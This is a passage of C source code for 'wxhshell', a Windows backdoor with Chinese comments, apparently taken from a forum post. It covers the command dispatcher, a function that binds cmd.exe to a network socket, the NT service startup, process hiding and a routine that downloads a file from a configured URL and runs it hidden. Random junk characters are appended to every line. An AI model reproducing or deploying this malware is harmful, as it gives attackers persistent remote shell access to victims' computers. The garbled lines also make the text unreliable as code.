  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4kNiS^h  
  } e #5LBSP  
  else { (2SmB`g   
\~r`2p-K  
    switch(cmd[0]) { Cwh*AKq(  
  or8`.h EHI  
  // 帮助 *%nV<}e^_=  
  case '?': { L/[b~D>T%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =(3Yj[>st  
    break; PXx:JZsju  
  } &(Yv&j X  
  // 安装 SyB2A\A  
  case 'i': { ZNKopA(=|%  
    if(Install()) r*r3QsO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); js$L<^7  
    else _,ki/7{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xsO "H8  
    break; FJ/c(K  
    } wDvG5  
  // 卸载 pz hPEp;  
  case 'r': { >, 9R :X(  
    if(Uninstall()) tQ@%3`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _oILZ,  
    else r'bPSu,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -5 Q gJ  
    break; B&M-em=  
    } Jn#05Z  
  // 显示 wxhshell 所在路径 oOAn 5t@  
  case 'p': { C3]"y7  
    char svExeFile[MAX_PATH]; YAc~,N   
    strcpy(svExeFile,"\n\r"); R^ln-H;  
      strcat(svExeFile,ExeFile); DH>>u  
        send(wsh,svExeFile,strlen(svExeFile),0); t|5T,YFG  
    break; WXj iKW(  
    } \{@n >Mh  
  // 重启 $!ATj`}kb  
  case 'b': { V?zCON  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T[L7-5U0  
    if(Boot(REBOOT)) I&Z4?K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rt9S  
    else { k vQ] }`a  
    closesocket(wsh); V#P`FX  
    ExitThread(0); 0D s W1  
    } 'Zket=Sm;  
    break; r3BQo[ 't  
    } y"L7.B  
  // 关机 og~Uv"&?T  
  case 'd': { Po1/_# mu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l(<=JUO;  
    if(Boot(SHUTDOWN)) 6 6%_p]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m+a\NXWR?N  
    else { l} =@9A@  
    closesocket(wsh); v\3 \n3[u  
    ExitThread(0); LK}*k/eG  
    } &*nq.l76X`  
    break; +@"Ls P  
    } e*!0|#-  
  // 获取shell hRFm]q  
  case 's': { u(Kof'p7  
    CmdShell(wsh); sA|!b.q  
    closesocket(wsh); {@7xOOAw  
    ExitThread(0); G &QGQ  
    break; /7CV7=^d,  
  } EW~M,+?  
  // 退出 c]+uj q  
  case 'x': { Sp]u5\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E|K|AdL  
    CloseIt(wsh); A0l-H/l7  
    break; ]F#}8$  
    } 1KMSBLx  
  // 离开 "|^-Yk\U  
  case 'q': { [a[.tR38e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b$JrLZs$_  
    closesocket(wsh); 6>Z)w}x^  
    WSACleanup(); @r*w 84  
    exit(1); 8-u #<D.  
    break; B4M rrW4=  
        } 1va~.;/rG  
  } :AYhBhitC  
  } Rh :|ij>B  
"2=v:\~=  
  // 提示信息 MfU0*nVF~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t[4V1:  
} [q!/YL3 %  
  } Gpf9uj%  
{~"fq.h!M  
  return; Q`m9I  
} xa[)fk$6  
bn#'o(Lp  
// shell模块句柄 2/>u8j  
int CmdShell(SOCKET sock) F.cKg~E|e  
{ V=de3k&p  
STARTUPINFO si; 0Lx,qZ'  
ZeroMemory(&si,sizeof(si)); eD,'M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o6/"IIso3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <5]ufv  
PROCESS_INFORMATION ProcessInfo; gjL+8Rk  
char cmdline[]="cmd"; 0CpE,gg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wec_=E qK0  
  return 0; rX}FhBl5  
} ( &!RX.i  
{XEX0|TZ  
// 自身启动模式 Q.MbzSgXL  
int StartFromService(void) sP~;i qk  
{ Pq(7lua7  
typedef struct .2{*>Dzi  
{ +:kMYL3  
  DWORD ExitStatus; Jq*Q;}n  
  DWORD PebBaseAddress; wA2^ I70-  
  DWORD AffinityMask; 7ND4Booul  
  DWORD BasePriority; L-DL)8;`  
  ULONG UniqueProcessId; GCj[ySCD  
  ULONG InheritedFromUniqueProcessId; Gq]/6igzX  
}   PROCESS_BASIC_INFORMATION; yXT.]%)  
+.-g`Vyz*  
PROCNTQSIP NtQueryInformationProcess; cb5T-'hY  
y!VL`xV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tNG[|Bi#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BIXbdo5F  
O<P(UT"  
  HANDLE             hProcess; VVw5)O1'  
  PROCESS_BASIC_INFORMATION pbi; bk|?>yd  
!<vy!pXg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /d*[za'0  
  if(NULL == hInst ) return 0; p5aqlYb6r  
nIWY<Z"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vtv~jJ{m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]YrgkC35  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9T_fq56Oh6  
rtdEIk  
  if (!NtQueryInformationProcess) return 0;  Pm"nwm  
eX$RD9 H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T,9pd;k  
  if(!hProcess) return 0; yioX^`Fc(~  
)4R[C={  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D]twid~OS  
K]&i9`>N   
  CloseHandle(hProcess); }Ud'j'QMy  
Ce/D[%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [0!*<%BgK'  
if(hProcess==NULL) return 0; @ :}la  
?=,7'@e  
HMODULE hMod; 3Mq%3jX  
char procName[255]; 'iU+mRLp  
unsigned long cbNeeded; -_M':  
^fj30gw7\5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A_Y5{6@  
Oe21noL  
  CloseHandle(hProcess); #sE: xIR  
#y f  
if(strstr(procName,"services")) return 1; // 以服务启动 &ZL4/e  
G2&,R{L6w  
  return 0; // 注册表启动 }yaM.+8.  
} D `av9I  
L;=3n[^x  
// 主模块 >avkiT2  
int StartWxhshell(LPSTR lpCmdLine) OkMAqS  
{ Gi\Z"MiBZ  
  SOCKET wsl; SB`xr!~A]  
BOOL val=TRUE; Y,?kS dS  
  int port=0; _:>t$* _  
  struct sockaddr_in door; n-{.7  
?u5jX J0L  
  if(wscfg.ws_autoins) Install(); u%5 ,U-  
hh[x(O)TC~  
port=atoi(lpCmdLine); _ BoA&Ism  
]:}7-;$V  
if(port<=0) port=wscfg.ws_port; XUA%3Xr  
a@-bw4S D  
  WSADATA data; qIxe)+.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,<$rSvMfg  
IP^1ca#<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5cb8=W -  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b3ys"Vyn  
  door.sin_family = AF_INET; Z>~7|vl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :1;"{=Yx}  
  door.sin_port = htons(port); p!EG:B4  
Z= =c3~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y Z)-=H  
closesocket(wsl); p^w_-( p  
return 1; :jJ0 +Q  
} ,u9 >c*Ss\  
})j N 8px  
  if(listen(wsl,2) == INVALID_SOCKET) { @ V_i%=go  
closesocket(wsl); +U iJWO  
return 1; 8\G"I  
} U,lO{J[T  
  Wxhshell(wsl); +1r><do;  
  WSACleanup(); TAq[g|N-;  
B%5"B} nG  
return 0; `~D{]'j  
2Z?l,M~  
} $&Z<4:Flc  
$wbIe"|  
// 以NT服务方式启动 y,K> Wb9e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gYloY=.Z$'  
{ gX| \O']6  
DWORD   status = 0; >vXS6`;  
  DWORD   specificError = 0xfffffff; ^a$L9p(  
8tO.o\)h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q{+}0!o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j=c< Lo`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tBETNt7  
  serviceStatus.dwWin32ExitCode     = 0; :\C/mT3xL)  
  serviceStatus.dwServiceSpecificExitCode = 0; h+S]C#X,}  
  serviceStatus.dwCheckPoint       = 0; CF v]wS  
  serviceStatus.dwWaitHint       = 0; YxGqQO36  
RY1-Zjlb<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |v<4=/.  
  if (hServiceStatusHandle==0) return; _w2KUvG-8  
1kD1$5  
status = GetLastError(); pktnX-Slt  
  if (status!=NO_ERROR) N36B*9m&p  
{ 79I"F'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6R*eJICN  
    serviceStatus.dwCheckPoint       = 0; 7`e<H8g  
    serviceStatus.dwWaitHint       = 0; { R/e1-;  
    serviceStatus.dwWin32ExitCode     = status; ~S$ex,~  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ec^2tx"=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b}*q*Bq  
    return; 5=Y(.}6  
  } ,(]k)ym/  
.KtK<Ps[S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wL}X~Xa3i  
  serviceStatus.dwCheckPoint       = 0; a-AA$U9hj  
  serviceStatus.dwWaitHint       = 0; *$3p3-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $M~`)UeV_  
} F"QJ)F  
;,7m  
// 处理NT服务事件,比如:启动、停止 BU7QK_zT:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h)aLq  
{ k=G c#SD5_  
switch(fdwControl) nU0##  
{ f0YBy<a  
case SERVICE_CONTROL_STOP: 7K+eI!m.s  
  serviceStatus.dwWin32ExitCode = 0; m>?|*a,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N`qGwNT%G  
  serviceStatus.dwCheckPoint   = 0; l TVz'ys  
  serviceStatus.dwWaitHint     = 0; D_G]WW8  
  { gZ-:4G|J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0.c9 6&  
  } Sy<io@df  
  return; rbs&A{i  
case SERVICE_CONTROL_PAUSE: C =B a|Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?j)#\s2  
  break; ?A~=.u@[d  
case SERVICE_CONTROL_CONTINUE: kWs:7jiiu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iRqLLMrn  
  break; R]RLy#j  
case SERVICE_CONTROL_INTERROGATE: SR`A]EC(V  
  break; 6q7jI )l  
}; (`u+(M!^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AP8J28I  
} >GzH_]  
qD /h/  
// 标准应用程序主函数 r"p"UW9og  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o{ccO29H/  
{ :9(w~bB9$  
_@VKWU$$  
// 获取操作系统版本 lQ"t#b+  
OsIsNt=GetOsVer(); P ?96;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7HL23Vr k  
LX #.  
  // 从命令行安装 9*Fc+/  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y&y<WN}Q  
F!2VTPm9z  
  // 下载执行文件 $$*0bRfd4=  
if(wscfg.ws_downexe) { |!1iLWQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \`%#SmQF  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4VkJtu5  
} F5M{`:/  
yVJ)JhV  
if(!OsIsNt) { /Ao.b|mm  
// 如果时win9x,隐藏进程并且设置为注册表启动 sDu&9+  
HideProc(); +vPCr&40  
StartWxhshell(lpCmdLine); =#wE*6T9  
} T+FlN-iy)  
else dEor+5}  
  if(StartFromService()) VTi; y{  
  // 以服务方式启动 84s:cO  
  StartServiceCtrlDispatcher(DispatchTable); $-6[9d-N  
else IVeA[qA0  
  // 普通方式启动 .Np!Qp1*  
  StartWxhshell(lpCmdLine); 4 XGEw9`3  
AboRuHQ  
return 0; fSGaUBiq}  
}
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只看该作者 1 发表于: 2006-10-10
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